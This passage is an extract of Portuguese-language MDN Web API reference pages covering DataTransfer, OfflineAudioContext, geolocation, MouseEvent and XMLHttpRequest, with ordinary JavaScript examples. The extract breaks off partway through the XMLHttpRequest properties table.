padrão quando o efeito não foi definido, equivalente a all.\n\nAtribuindo qualquer outro valor não terá efeito e permanece o valor anterior.\n\n### files\n\nContains a list of all the local files available on the data transfer. If the drag operation doesn't involve dragging files, this property is an empty list. An invalid index access on the `FileList` specified by this property will return `undefined`.\n\n#### Example\n\nThese examples dump the list of files dragged into the browser window.\n\n* (Firefox only): http://jsfiddle.net/9C2EF/\n* (All browsers): https://jsbin.com/hiqasek/\n### types\n\nGuarda uma lista dos tipos de formato dos dados que estão armazenados para o primeiro ítem, na mesma ordem que os dados foram adicionados. Uma lista vazia será retornada caso nenhum dado tenha sido adicionado.\n\n### mozCursor\n\nO estado do cursor de drag. Isto é usado principalmente para controlar o cursor durante a guia de drag.\n\n**Nota:** Esse método está atualmente implementado somento no Windows.\n\n#### Valores possíveis\n\n`auto`\n\nUtiliza o comportamento padrão do sistema.\n\n`default`\n\nUtiliza o comportamento padrão Gecko, que é definir o cursor para uma seta durante a operação de arrastar.\n\n\n**Nota:** Se você especificar qualquer valor diferente de \"default\", \"auto\" é assumido.\n\n### mozItemCount\n\nO número de ítens sendo arrastados.\n\n**Nota:** Essa propriedade é específica Gecko.\n\n### mozSourceNode\n\nO `Node` sobre o qual o cursor do mouse estava localizado quando o botão foi pressionado para iniciar a operação de arrastar. O valor é `null` para drags externos ou se o elmento não pode acessar o node.\n\n**Nota:** Essa propriedade é específica Gecko.\n\n### mozUserCancelled\n\nEssa propriedade é aplicada apenas no evento `dragend`, e é `true` se o usuário cancelar a operação de arrastar pressionando escape (esc). Será `false` em qualquer outro caso, incluindo se a operação de arrastar falhar por algum motivo, por exemplo devido a ação de soltar em um local inválido.\n\n**Nota:** Essa propriedade é específica Gecko.\n\nMethods\n-------\n\n### addElement()\n\nSet the drag source. Usually you would not change this, but it will affect which node the drag and dragend events are fired at. The default target is the node that was dragged.\n```\n\n void addElement(\n   in Element element\n );\n```\n\n\n###### Parameters\n\n`element`\n\nThe element to add.\n\n### clearData()\n\nRemove the data associated with a given type. The type argument is optional. If the type is empty or not specified, the data associated with all types is removed. If data for the specified type does not exist, or the data transfer contains no data, this method will have no effect.\n```\n\n void clearData(\n   [optional] in String type\n );\n```\n\n\n###### Parameters\n\n`type`\n\nThe type of data to remove.\n\n### getData()\n\nRetrieves the data for a given type, or an empty string if data for that type does not exist or the data transfer contains no data.\n\nA security error will occur if you attempt to retrieve data during a drag that was set from a different domain, or the caller would otherwise not have access to. This data will only be available once a drop occurs during the drop event.\n```\n\n String getData(\n   in String type\n );\n```\n\n\n###### Parameters\n\n`type`\n\nThe type of data to retrieve.\n\n### setData()\n\nSet the data for a given type. If data for the type does not exist, it is added at the end, such that the last item in the types list will be the new format. If data for the type already exists, the existing data is replaced in the same position. That is, the order of the types list is not changed when replacing data of the same type.\n```\n\n void setData(\n   in String type,\n   in String data\n );\n```\n\n\n###### Parameters\n\n`type`\n\nThe type of data to add.\n\n`data`\n\nThe data to add.\n\n### setDragImage()\n\nSet the image to be used for dragging if a custom one is desired. Most of the time, this would not be set, as a default image is created from the node that was dragged.\n\nIf the node is an HTML img element, an HTML canvas element or a XUL image element, the image data is used. Otherwise, image should be a visible node and the drag image will be created from this. If image is null, any custom drag image is cleared and the default is used instead.\n\nThe coordinates specify the offset into the image where the mouse cursor should be. To center the image, for instance, use values that are half the width and height of the image.\n```\n\n void setDragImage(\n   in Element image,\n   in long x,\n   in long y\n );\n```\n\n\n###### Parameters\n\n`image`\n\nAn element to use as the drag feedback image\n\n`x`\n\nHorizontal offset within the image.\n\n`y`\n\nVertical offset within the image.\n\n### mozClearDataAt()\n\nRemoves the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.\n\nIf the last format for the item is removed, the entire item is removed, reducing `mozItemCount` by one.\n\nIf the `format` list is empty, then the data associated with all formats is removed. If the format is not found, then this method has no effect.\n\n**Nota:** This method is Gecko-specific.\n```\n\n void mozClearDataAt(\n   [optional] in String type,\n   in unsigned long index\n );\n```\n\n\n###### Parameters\n\n`type`\n\nThe type of data to remove.\n\n`index`\n\nThe index of the data to remove.\n\n### mozGetDataAt()\n\nRetrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.\n\n**Nota:** This method is Gecko-specific.\n```\n\n nsIVariant mozGetDataAt(\n   [optional] in String type,\n   in unsigned long index\n );\n```\n\n\n###### Parameters\n\n`type`\n\nThe type of data to retrieve.\n\n`index`\n\nThe index of the data to retrieve.\n\n### mozSetDataAt()\n\nA data transfer may store multiple items, each at a given zero-based index. `mozSetDataAt()` may only be called with an index argument less than `mozItemCount` in which case an existing item is modified, or equal to `mozItemCount` in which case a new item is added, and the `mozItemCount` is incremented by one.\n\nData should be added in order of preference, with the most specific format added first and the least specific format added last. If data of the given format already exists, it is replaced in the same position as the old data.\n\nThe data should be either a string, a primitive boolean or number type (which will be converted into a string) or an `nsISupports`.\n\n**Nota:** This method is Gecko-specific.\n```\n\n void mozSetDataAt(\n   [optional] in String type,\n   in nsIVariant data,\n   in unsigned long index\n );\n```\n\n\n###### Parameters\n\n`type`\n\nThe type of data to add.\n\n`data`\n\nThe data to add.\n\n`index`\n\nThe index of the data to add.\n\n### mozTypesAt()\n\nHolds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.\n\n**Nota:** This method is Gecko-specific.\n```\n\n nsIVariant mozTypesAt(\n   in unsigned long index\n );\n```\n\n\n###### Parameters\n\n`index`\n\nThe index of the data for which to retrieve the types.\n\nSee also\n--------\n\nDrag and Drop"}
{"title":"OfflineAudioContext - APIs da Web","text":"OfflineAudioContext\n===================\n\nA interface `OfflineAudioContext` é uma interface `AudioContext` que representa um gráfico de processament de áudio construido a partir de conexões entre `AudioNode`s. Em contraste com o padrão `AudioContext`, um `OfflineAudioContext` não processa o áudio para o hardware do dispositivo; Em vez disso, ele gera, o mais rápido possível, e exibe o resultado para um `AudioBuffer` (en-US).\nEventTarget\n\nBaseAudioContext\n\n(en-US)\n\nOfflineAudioContextConstrutor\n----------\n\n`OfflineAudioContext.OfflineAudioContext()` (en-US)\n\nCria uma nova instância `OfflineAudioContext`.\n\nPropriedades\n------------\n\n*Também herda propriedades da sua entidade paterna, `BaseAudioContext` (en-US).*\n\n`OfflineAudioContext.length` (en-US) Somente leitura \n\nUm número inteiro que representa o tamanho do buffer em quadros de amostra.\n\n### Manipuladores de Eventos\n\n`OfflineAudioContext.oncomplete` (en-US)\n\nÉ uma chamada `event handler` quando o processamento é encerrado, é quando o evento `complete (en-US)` - do tipo `OfflineAudioCompletionEvent` (en-US) - é gerado, após a versão baseada em eventos do `OfflineAudioContext.startRendering()` (en-US) é usada.\n\nMétodos\n-------\n\n*Também herda métodos da interface paterna, `BaseAudioContext` (en-US).*\n\n`OfflineAudioContext.resume()` (en-US)\n\nPrograma uma suspensão da progressão do tempo no contexto de áudio no horário especificado e retorna uma promessa.\n\n`OfflineAudioContext.suspend()` (en-US)\n\nAgende uma suspensão da progressão do tempo no contexto de áudio no horário especificado e retorna uma promessa.\n\n`OfflineAudioContext.startRendering()` (en-US)\n\nInicia a renderização do áudio, levando em consideração as conexões atuais e as mudanças programadas atuais. Esta página abrange a versão baseada em eventos e a versão baseada em promessas.\n\nExemplo\n-------\n\nNesse exemplo, declaramos um ambos `AudioContext` e um `OfflineAudioContext` objeto. Nós usamos o `AudioContext` para carregar uma faixa de áudio via XHR (`AudioContext.decodeAudioData` (en-US)), então o `OfflineAudioContext` para renderizar o áudio em um `AudioBufferSourceNode` (en-US) e reproduzir a trilha. Depois que o gráfico de áudio off-line estiver configurado, você deve renderizá-lo para `AudioBuffer` (en-US) usando `OfflineAudioContext.startRendering` (en-US).\n\nQuando a 'promise' `startRendering()` é resolvida, a renderização foi concluída e a saída `AudioBuffer` é retornada fora da 'promise.\n\nNeste ponto, criamos outro contexto de áudio, criamos um `AudioBufferSourceNode` (en-US) dentro dele e configuramos o buffer para ser igual à promessa `AudioBuffer`. Isso é jogado como parte de um gráfico de áudio padrão simples.\n\n**Nota:** Para um exemplo de trabalho, veja nosso offline-audio-context-promise Github repo (veja o código fonte também.)\n\n\n```js\n// define o contexto de áudio online e offline\n\nvar audioCtx = new AudioContext();\nvar offlineCtx = new OfflineAudioContext(2, 44100 \\* 40, 44100);\n\nsource = offlineCtx.createBufferSource();\n\n// usa XHR para carregar uma faixa de áudio, e\n// decodeAudioData para decodificar e OfflineAudioContext para renderizar\n\nfunction getData() {\n  request = new XMLHttpRequest();\n\n  request.open(\"GET\", \"viper.ogg\", true);\n\n  request.responseType = \"arraybuffer\";\n\n  request.onload = function () {\n    var audioData = request.response;\n\n    audioCtx.decodeAudioData(audioData, function (buffer) {\n      myBuffer = buffer;\n      source.buffer = myBuffer;\n      source.connect(offlineCtx.destination);\n      source.start();\n      //source.loop = true;\n      offlineCtx\n        .startRendering()\n        .then(function (renderedBuffer) {\n          console.log(\"Rendering completed successfully\");\n          var audioCtx = new (window.AudioContext ||\n            window.webkitAudioContext)();\n          var song = audioCtx.createBufferSource();\n          song.buffer = renderedBuffer;\n\n          song.connect(audioCtx.destination);\n\n          play.onclick = function () {\n            song.start();\n          };\n        })\n        .catch(function (err) {\n          console.log(\"Rendering failed: \" + err);\n          // Nota: A promessa deve rejeitar quando o StartRendering é chamado uma segunda vez em um OfflineAudioContext\n        });\n    });\n  };\n\n  request.send();\n}\n\n// Run getData to start the process off\n\ngetData();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Audio API # OfflineAudioContext |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando a API de áudio da Web (en-US)"}
{"title":"Usando geolocation - APIs da Web","text":"Usando geolocation\n==================\n\nA **API geolocation** permite que o usuário forneça sua localização a aplicativos web se ele desejar. Por questões de privacidade, o usuário é perguntado se permite fornecer informações de localização.\n\nO objeto geolocation\n--------------------\n\nO aplicativo de geolocalização é utilizado através de um objeto filho chamado `geolocation` localizado dentro do objeto `navigator`. Se o objeto existe, os serviços de geolocalização estarão disponíveis. Você pode adicionalmente testar a presença da geolocalização:\n\n\n```js\nif (\"geolocation\" in navigator) {\n  /\\* geolocation is available \\*/\n} else {\n  alert(\n    \"I'm sorry, but geolocation services are not supported by your browser.\",\n  );\n}\n```\n\n\nAo iniciar no Gecko 1.9.2 (Firefox 3.6), add-ons podem obter o objeto de geolocalização obtendo a referência para o serviço de geolocaliazação como se ve a seguir:\n\n\n```js\nvar geolocation = Components.classes[\"@mozilla.org/geolocation;1\"].getService(\n  Components.interfaces.nsIDOMGeoGeolocation,\n);\n```\n\n### Obtendo a posição atual\n\nPara obter a localização atual do usuário, você pode utiliza o método `getCurrentPosition()`. Isto inicia uma requisição assíncrona para identificar a posição do usuário, e consulta o hardware de localização para conseguir informações atualizadas. Quando a posição é determinada, uma rotina específica de retorno é executada. Você pode opcionalmente gerar uma segunda rotina de retorno se um erro ocorrer. Um terceiro, e opcional, parâmetro é a interface \"opções\" onde você pode configurar o tempo máximo da posição recebida e o tempo a se esperar por uma solicitação.\n\nUse `getCurrentPosition()` se você deseja uma única posição rapidamente, independente da precisão. Dispositivos com GPS, por exemplo, podem levar um minuto ou mais para conseguir a localização, e portanto dados menos precisos (localização do IP location ou rede wifi) podem retornar do método `getCurrentPosition()`.\n\n\n```js\nnavigator.geolocation.getCurrentPosition(function (position) {\n  do\\_something(position.coords.latitude, position.coords.longitude);\n});\n```\n\n\nO exemplo acima irá fazer a função the `do_something()` executar quando a localização for obtida.\n\n### Verificando a posição atual\n\nSe os dados de posição mudam (sejam pelo movimento do dispositivo ou se uma informação mais precisa for recebida), se pode configurar um retorno que é feito com esta informação de posição atual. Isto é feito usando a função `watchPosition()`, a qual tem os mesmos parâmetros de entrada da função `getCurrentPosition()`. Seu retorno é chamada múltiplas vezes, permitindo que o navegador ou atualize sua posição enquanto você se move, ou forneça uma localização mais precisa enquanto diferentes técnicas são usadas para localizar sua posição. O erro do retorno, o qual é opcional assim como no `getCurrentPosition()`, é chamado uma única vez, se nenhum resultado válido retornar.\n\nO `watchPosition()` pode ser usado sem que não haja a chamada inicial de `getCurrentPosition()`.\n\n\n```js\nvar watchID = navigator.geolocation.watchPosition(function (position) {\n  do\\_something(position.coords.latitude, position.coords.longitude);\n});\n```\n\n\nO método `watchPosition()` retorna um número de ID que pode ser usado para identificar a `posição` solicitada; você pode usar esse valor em conjunto com o método `clearWatch()`, parando a localização do usuário.\n```\n\nnavigator.geolocation.clearWatch(watchID);\n```\n\n\n`watchPosition()`retorna um callback sucesso e erro (como `getCurrentPosition`) e um objeto `positionObjects`, que pode ter três propriedades:\n\n* `enableHighAccuracy` – Um booleano que indica ao dispositivo que você deseja obter leituras mais precisas (este parâmetro pode ou não pode fazer a diferença, dependendo do seu hardware)\n* `maximumAge` – Idade máxima (em milissegundos) da leitura (opção adequada, pois o dispositivo pode armazenar em cache leituras para poupar energia e / ou largura de banda)\n* `timeout` – O tempo máximo (em milissegundos) que está preparado para permitir que o dispositivo para tentar obter uma Geo Location\n\nSegue uma chamada para watchPosition:\n```\n\nvar wpid = navigator.geolocation.watchPosition(geo_success, geo_error, {enableHighAccuracy:true, maximumAge:30000, timeout:27000});\n```\n\n\nExemplo de watchPosition em uso: thedotproduct.org/posts/a-simple-example-of-navigatorgeolocationwatchposition\n\nImprimindo uma posição\n----------------------\n\nA localização do usuário é impressa usando o objeto Position, que tem os seguintes campos:\n\ntimestamp\n\nMomento em que a leitura foi feita, como `DOMTimeStamp`.\n\ncoords\n\nObjecto `nsIDOMGeoPositionCoords` indicando a localização.\n\naddress\n\n`nsIDOMGeoPositionAddress` objeto especificando o endereço correspondente, se disponível.\n\nManipulação de erros\n--------------------\n\nRetornando o callback de erro, se fornecido, chamar `getCurrentPosition()` e `watchPosition()`, tem a seguinte assinatura:\n```\n\nfunction errorCallback(PositionError error);\n```\n\n\nO `PositionError` tem a seguinte estrutura de campos:\n\ncode\n\nUm código de erro numérico dos seguintes procedimentos:\n\n*`UNKNOWN_ERROR`* (valor numérico 0)\n\nO processo de aquisição de localização falhou devido a um erro de qualquer outro código nesta interface.\n\n*`PERMISSION_DENIED`* (valor numérico 1)\n\nO processo de aquisição da localização falhou porque a origem aplicativo não tem permissão para usar a API de Geolocalização.\n\n*`POSITION_UNAVAILABLE`* (valor numérico 2)\n\nA posição do dispositivo não pôde ser determinada. Um ou mais provedores de localização utilizados no processo de aquisição local gerou um erro interno que falou o processo completamente.\n\n*`TIMEOUT`* (numeric value 3)\n\nO comprimento máximo de tempo especificado.\n\nmessage\n\nUma mensagem de erro legível para uso em registros e depuração, mas não para exibir para o usuário.\n\nCompatibilidade com navegadores\n-------------------------------\n\n| Navegador | Suporte Básico | Geolocation Level 2 |\n| --- | --- | --- |\n| Internet Explorer | IE9 RC | --- |\n| Firefox (Gecko) | **3.5** (1.9.1) | --- |\n| Opera | **10.60** | --- |\n| Safari | Chrome | WebKit | 5 | 5 | 533 | --- |\n\nSolicitando permissão\n---------------------\n\nQualquer add-on hospedado em addons.mozilla.org, que faz uso de dados de geolocalização, deve solicitar antes uma permissão. A função a seguir vai solicitar a permissão de um modo semelhante ao prompt. A resposta do usuário será salva no parâmetro `pref`. A função fornecida no parâmetro de `callback` será chamado com um valor booleano que indica a resposta do usuário. Se for `true`, o add-on poderá retornar dados de geolocalização.\n\n\n```js\nfunction prompt(window, pref, message, callback) {\n  let branch = Components.classes[\n    \"@mozilla.org/preferences-service;1\"\n  ].getService(Components.interfaces.nsIPrefBranch);\n\n  if (branch.getPrefType(pref) === branch.PREF\\_STRING) {\n    switch (branch.getCharPref(pref)) {\n      case \"always\":\n        return callback(true);\n      case \"never\":\n        return callback(false);\n    }\n  }\n\n  let done = false;\n\n  function remember(value, result) {\n    return function () {\n      done = true;\n      branch.setCharPref(pref, value);\n      callback(result);\n    };\n  }\n\n  let self = window.PopupNotifications.show(\n    window.gBrowser.selectedBrowser,\n    \"geolocation\",\n    message,\n    \"geo-notification-icon\",\n    {\n      label: \"Share Location\",\n      accessKey: \"S\",\n      callback: function (notification) {\n        done = true;\n        callback(true);\n      },\n    },\n    [\n      {\n        label: \"Always Share\",\n        accessKey: \"A\",\n        callback: remember(\"always\", true),\n      },\n      {\n        label: \"Never Share\",\n        accessKey: \"N\",\n        callback: remember(\"never\", false),\n      },\n    ],\n    {\n      eventCallback: function (event) {\n        if (event === \"dismissed\") {\n          if (!done) callback(false);\n          done = true;\n          window.PopupNotifications.remove(self);\n        }\n      },\n      persistWhileVisible: true,\n    },\n  );\n}\n\nprompt(\n  window,\n  \"extensions.foo-addon.allowGeolocation\",\n  \"Foo Add-on wants to know your location.\",\n  function callback(allowed) {\n    alert(allowed);\n  },\n);\n```\n\nVeja também\n-----------\n\n* `nsIGeolocationProvider`\n* `nsIDOMGeolocation`\n* `nsIDOMGeoPosition`\n* `nsIDOMGeoPositionCallback`\n* `nsIDOMGeoPositionError`\n* `nsIDOMGeoPositionErrorCallback`\n* `nsIDOMGeoPositionOptions`\n* `nsIDOMNavigatorGeolocation`\n* Geolocation API on w3.org\n* Demos about the Geolocation API"}
{"title":"MouseEvent - APIs da Web","text":"MouseEvent\n==========\n\nA interface **`MouseEvent`** representa eventos que ocorrem devido à interação do usuário com um dispositivo apontador (como um mouse). Eventos comuns usando esta interface incluem `click`, `dblclick` (en-US), `mouseup` (en-US), `mousedown`.\n\n**`MouseEvent`** deriva de `UIEvent` (en-US), que por sua vez deriva de `Event`. Embora o método `MouseEvent.initMouseEvent()` (en-US) seja mantido para compatibilidade com versões anteriores, a criação de um objeto **`MouseEvent`** deve ser feita usando o construtor `MouseEvent()`.\n\nVários eventos mais específicos derivam de **`MouseEvent`** como: `WheelEvent` (en-US) e `DragEvent` (en-US).\n\nEvent\n\nUIEvent\n\n(en-US)\n\nMouseEventConstrutor\n----------\n\n**`MouseEvent()` (en-US)**\n\nCria um objeto **`MouseEvent`**.\n\nPropriedades\n------------\n\n*Essa interface também herda propriedades de seus pais, `UIEvent` (en-US) e `Event`.*\n\n**`MouseEvent.altKey` (en-US)** Read only\n\nRetorna `true`se a tecla\n\n`alt`\n\nestava pressionada quando o evento do mouse foi disparado.\n\n`MouseEvent.button` (en-US) Read only\n\nO número do botão que foi pressionado (se aplicável) quando o evento do mouse foi disparado.\n\n`MouseEvent.buttons` (en-US)Read only\n\nOs botões sendo pressionados (se houver) quando o evento do mouse foi disparado.\n\n`MouseEvent.clientX` *Read only*\n\nA coordenada X do ponteiro do mouse em coordenadas locais (conteúdo **DOM**).\n\n`MouseEvent.clientY`Read only\n\nA coordenada Y do ponteiro do mouse em coordenadas locais (conteúdo **DOM**).\n\n`MouseEvent.ctrlKey` (en-US) Read only\n\nRetorna `true` se a tecla\n\n`control`\n\nestava pressionada quando o evento do mouse foi disparado.\n\n`MouseEvent.metaKey` (en-US) Read only\n\nRetorna `true` se a tecla\n\n`meta`\n\nestava pressionada quando o evento do mouse foi disparado.\n\nMouseEvent.movementX (en-US)Read only\n\nA coordenada X do ponteiro do mouse em relação à posição do último evento `mousemove` (en-US) .\n\n`MouseEvent.movementY` (en-US) Read only\n\nA coordenada Y do ponteiro do mouse em relação à posição do último evento mousemove (en-US).\n\n`MouseEvent.offsetX` (en-US) Read only\n\nA coordenada X do ponteiro do mouse em relação à posição da borda de preenchimento do nó de destino.\n\n`MouseEvent.offsetY` (en-US) Read only\n\nA coordenada Y do ponteiro do mouse em relação à posição da borda de preenchimento do nó de destino.\n\n`MouseEvent.pageX` (en-US) Read only\n\nA coordenada X do ponteiro do mouse em relação a todo o documento.\n\n`MouseEvent.pageY` (en-US) Read only\n\nA coordenada Y do ponteiro do mouse em relação a todo o documento.\n\n`MouseEvent.region` (en-US) Read only\n\nRetorna o id da região afetada pelo evento. Se nenhuma região atingida for afetada, **`null`** será retornado.\n\n`MouseEvent.relatedTarget` (en-US)Read only\n\nO destino secundário do evento, se houver.\n\nMouseEvent.screenX (en-US)Read only\n\nA coordenada X do ponteiro do mouse em coordenadas globais (tela).\n\n`MouseEvent.screenY` (en-US) Read only\n\nA coordenada Y do ponteiro do mouse em coordenadas globais (tela).\n\nMouseEvent.shiftKey (en-US) Read only\n\nRetorna `true` se a tecla\n\n`shift`\n\nestava pressionada quando o evento do mouse foi disparado.\n\nMouseEvent.which (en-US) Read only\n\nO botão sendo pressionado quando o evento do mouse foi disparado.\n\n`MouseEvent.mozPressure` Read only\n\nA quantidade de pressão aplicada a um dispositivo de toque ou tablet ao gerar o evento; este valor varia entre `0.0` (pressão mínima) e `1.0` (pressão máxima).\n\n`MouseEvent.mozInputSource` (en-US) Read only\n\nO tipo de dispositivo que gerou o evento (uma das constantes `MOZ_SOURCE_*` listadas abaixo). Isso permite, por exemplo, determinar se um evento de mouse foi gerado por um mouse real ou por um evento de toque (o que pode afetar o grau de precisão com que você interpreta as coordenadas associadas ao evento).\n\n`MouseEvent.webkitForce` (en-US) Read only\n\nA quantidade de pressão aplicada ao clicar\n\nMouseEvent.xRead only\n\nAlias para `MouseEvent.clientX`.\n\n`MouseEvent.y` Read only\n\nAlias para MouseEvent.clientY\n\nConstantes\n----------\n\n`MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN` (en-US) Read only\n\nForça mínima necessária para um clique normal.\n\n`MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN` (en-US) Read only\n\nForça mínima necessária para um clique de força\n\nMétodo\n------\n\n*Essa interface também herda métodos de seus pais, `UIEvent` (en-US) e `Event`.*\n\n`MouseEvent.getModifierState()` (en-US)\n\nRetorna o estado tual da tecla modificadora especificada. Consulte `KeyboardEvent.getModifierState` (en-US)`()` (en-US) para obter detalhes.\n\n`MouseEvent.initMouseEvent()` (en-US)\n\nInicializa o valor de um **`MouseEvent`** criado. Se o evento já foi despachado, este método não faz nada.\n\nExemplo\n-------\n\nEste exemplo demonstra a simulação de um clique (que está gerando programaticamente um evento de clique) em uma caixa de seleção usando métodos **DOM**.\n\n\n```js\nfunction simulateClick() {\n  var evt = new MouseEvent(\"click\", {\n    bubbles: true,\n    cancelable: true,\n    view: window,\n  });\n  var cb = document.getElementById(\"checkbox\"); //element to click on\n  var canceled = !cb.dispatchEvent(evt);\n  if (canceled) {\n    // A handler called preventDefault\n    alert(\"canceled\");\n  } else {\n    // None of the handlers called preventDefault\n    alert(\"not canceled\");\n  }\n}\ndocument.getElementById(\"button\").addEventListener(\"click\", simulateClick);\n```\n\n\n\n```html\n<p>\n  <label><input type=\"checkbox\" id=\"checkbox\" /> Checked</label>\n</p>\n<p><button id=\"button\">Click me</button></p>\n```\n\n\nClique no botão para ver como funciona a amostra:\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # interface-mouseevent |\n| CSSOM View Module # extensions-to-the-mouseevent-interface |\n| Pointer Lock 2.0 # extensions-to-the-mouseevent-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n Seu pai direto, `UIEvent` (en-US).\n `PointerEvent` (en-US): Para eventos de ponteiro avançados, incluindo multitoque"}
{"title":"XMLHttpRequest - APIs da Web","text":"XMLHttpRequest\n==============\n\n`XMLHttpRequest` é um objeto que fornece funcionalidade ao cliente para transferir dados entre um cliente e um servidor. Ele fornece uma maneira fácil de recuperar dados de um URL sem ter que fazer uma atualização de página inteira. Isso permite que uma página da Web atualize apenas uma parte do conteúdo sem interromper o que o usuário esteja fazendo. XMLHttpRequest é usado constantemente na programação de AJAX.\n\n`XMLHttpRequest` foi originalmente projetado pela Microsoft e adotado pela Mozilla, Apple e Google. Está sendo padronizado pela WHATWG. Apesar do nome, XMLHttpRequest pode ser usado para recuperar qualquer tipo de dados, e não apenas XML, suportando também, protocolos diferentes de HTTP (incluindo file e ftp ).\n\nPara criar uma instância de XMLHttpRequest , basta fazer isso:\n```\n\nvar myRequest = new XMLHttpRequest();\n```\n\n\nPara obter detalhes sobre como usar XMLHttpRequest , consulte Usando XMLHttpRequest.\n\nMétodos\n-------\n\n| `XMLHttpRequest(JSObject objParameters);` |\n| --- |\n| `void abort();` |\n| `DOMString getAllResponseHeaders();` |\n| `DOMString? getResponseHeader(DOMString header);` |\n| `void open(DOMString method, DOMString url, optional boolean async, optional DOMString? user, optional DOMString? password);` |\n| `void overrideMimeType(DOMString mime);` |\n| `void send();` `void send(ArrayBuffer data);` `void send(Blob data);` `void send(Document data);` `void send(DOMString? data);` `void send(FormData data);` |\n| `void setRequestHeader(DOMString header, DOMString value);` |\n| Métodos não-padrão |\n| `[noscript] void init(in nsIPrincipal principal, in nsIScriptContext scriptContext, in nsPIDOMWindow ownerWindow);` |\n| `[noscript] void openRequest(in AUTF8String method, in AUTF8String url, in boolean async, in AString user, in AString password);` |\n| `void sendAsBinary(in DOMString body);` |\n\nPropriedades\n------------\n\n| Atributo | Tipo | Descrição |\n| --- | --- | --- |\n| `onreadystatechange` | `Function?` | \n A função de objeto JavaScript que é chamado sempre que o atributo\n readyState sofre alteração. A função de callback é chamada a partir da\n thread existente na interface de usuário.\n\n\n**Aviso:** Este não deve ser usado com chamadas síncronas\n e não deve ser utilizado a partir do código nativo.\n  |\n| `readyState` | `retorna o cabeçalho da requisição.` | \n\n|  |  |  |\n| --- | --- | --- |\n| Valor | Estado | Descrição |\n| `0` | `UNSENT` | `open() não foi chamado ainda.` |\n| `1` | `OPENED` | `send() não foi chamado ainda.` |\n| `2` | `HEADERS_RECEIVED` | `send() foi chamado, e cabeçalhos e status estão\ndisponíveis.` |\n| `3` | `LOADING` | Download; responseText contém dados parciais. |\n| `4` | `DONE` | A operação está concluída. |\n\n |\n| `response` | ArrayBuffer, Document,Blob, DOMString | \n Retorna um objeto JavaScript de tipo\n `ArrayBuffer`, `Blob` ou\n `Document`, de acordo com o que estiver contido\n no `responseType.` Retorna\n `null` se a request não esteja completa ou não obteve\n sucesso.\n  |\n| `responseText` Somente leitura  | `DOMString` | \n A resposta à *request*, em formato texto, retorna null se a\n solicitação não teve êxito ou que ainda não foi enviada.\n  |\n| `responseType` | `XMLHttpRequestResponseType` | Pode ser configurado para alterar o tipo de resposta.\n\n|  |  |\n| --- | --- |\n| Valor | Tipo de dados de `resposta` de propriedade |\n| `\"\"` (string vazia) | String (este é o padrão) |\n| `\"arraybuffer\"` | `ArrayBuffer` |\n| `\"blob\"` | `Blob` |\n| `\"document\"` | `Document` |\n| `\"json\"` | \n Objeto JavaScript, analisado a partir de uma seqüência de\n caracteres JSON retornado pelo servidor.\n  |\n| `\"text\"` | String |\n| `\"moz-blob\"` | \n Usado pelo Firefox para permitir recuperar dados parciais do\n tipo `Blob`,de eventos de progresso. Isso\n permite que o manipulador de eventos de progresso iniciar o\n processamento de dados enquanto ele ainda está sendo recebido.\n  |\n| `\"moz-chunked-text\"` | \n Semelhante ao \"text\" , mas o *streaming* ainda está\n fluindo. Isto significa que o valor na response , só está\n disponível durante a expedição do \"progress\" do evento e\n contém apenas os dados recebidos desde a última \"progress\" do\n evento.\n\n\n Quando response é acessado durante um evento \"progress\", este\n contém uma string com os dados. Caso contrário, retorna null .\n\nEste modo atualmente só funciona no Firefox. |\n| `\"moz-chunked-arraybuffer\"` | \n Semelhante ao `\"arraybuffer\"`, mas está fluindo.\n Isto significa que o valor na response , só está disponível\n durante a expedição do \"progress\" do evento e contém apenas os\n dados recebidos desde a última \"progress\" do evento.\n\n\n Quando response é acessado durante um \"progress\" evento que\n contém uma seqüência com os dados. Caso contrário, retorna\n null .\n\nEste modo atualmente só funciona no Firefox.\n. |\n\n**Nota:** Começando com 11,0 Gecko (Firefox 11.0 / 11.0\n Thunderbird / SeaMonkey 2.8), bem como WebKit construir 528, esses\n navegadores não permitem que você use o atributo responseType ao\n executar solicitações síncronas. Tentativas de fazer isso geram uma\n exceção do tipo NS\\_ERROR\\_DOM\\_INVALID\\_ACCESS\\_ERR. Esta mudança foi\n proposta para padronização junto à W3C.\n  |\n| `responseXML` Somente leitura  | `Document?` | \n A resposta ao pedido como um DOM\n `Document`\n objeto, ou null se o pedido não foi bem sucedida, ainda não foi\n enviado, ou não pode ser analisado como XML ou HTML. A resposta é\n analisado como se fosse um `text/html` stream. Quando o\n responseType está definido para \"document\" e que a solicitação tenha\n sido feita de forma assíncrona, a resposta é analisado como se fosse\n um `text/html` stream.\n\n\n**Nota:** Se o servidor não se aplica o text/xml\n cabeçalho Content-Type, você pode usar overrideMimeType() para forçar\n XMLHttpRequest para analisá-lo como XML de qualquer maneira.\n  |\n| `status` Somente leitura  | `unsigned short` | \n O status de resposta da requisição. Este é o retorno do codigo da\n requisição HTTP (por exemplo, status é 200 qual a solicitação for\n bem-sucedida).\n  |\n| `statusText` Somente leitura  | `DOMString` | \n A cadeia de resposta retornado pelo servidor HTTP. Ao contrário do\n status , o que inclui todo o texto da mensagem de resposta (\" 200 OK \",\n por exemplo).\n  |\n| `timeout` | `unsigned long` | \nO número de milissegundos de um pedido pode tomar antes de ser\n automaticamente encerrada. Um valor de 0 (que é o padrão) significa\n que não há tempo limite.\n\n\n**Nota:** Você não pode usar um tempo limite para\n solicitações síncronas com uma janela proprietária.\n  |\n| `upload` | `XMLHttpRequestUpload` | \n O processo de upload pode ser rastreado através da ação de retorno de um\n evento para upload.\n  |\n| `withCredentials` | `boolean` | \n Indica se ou não de cross-site Access-Control solicitações devem ser\n feitas usando credenciais, como cookies ou cabeçalhos de autorização.\n O padrão é false .\n\n**Nota:** Esta não afeta as solicitações no mesmo local.\n\n**Nota:** Começando com 11,0 Gecko (Firefox 11.0 / 11.0\n Thunderbird / 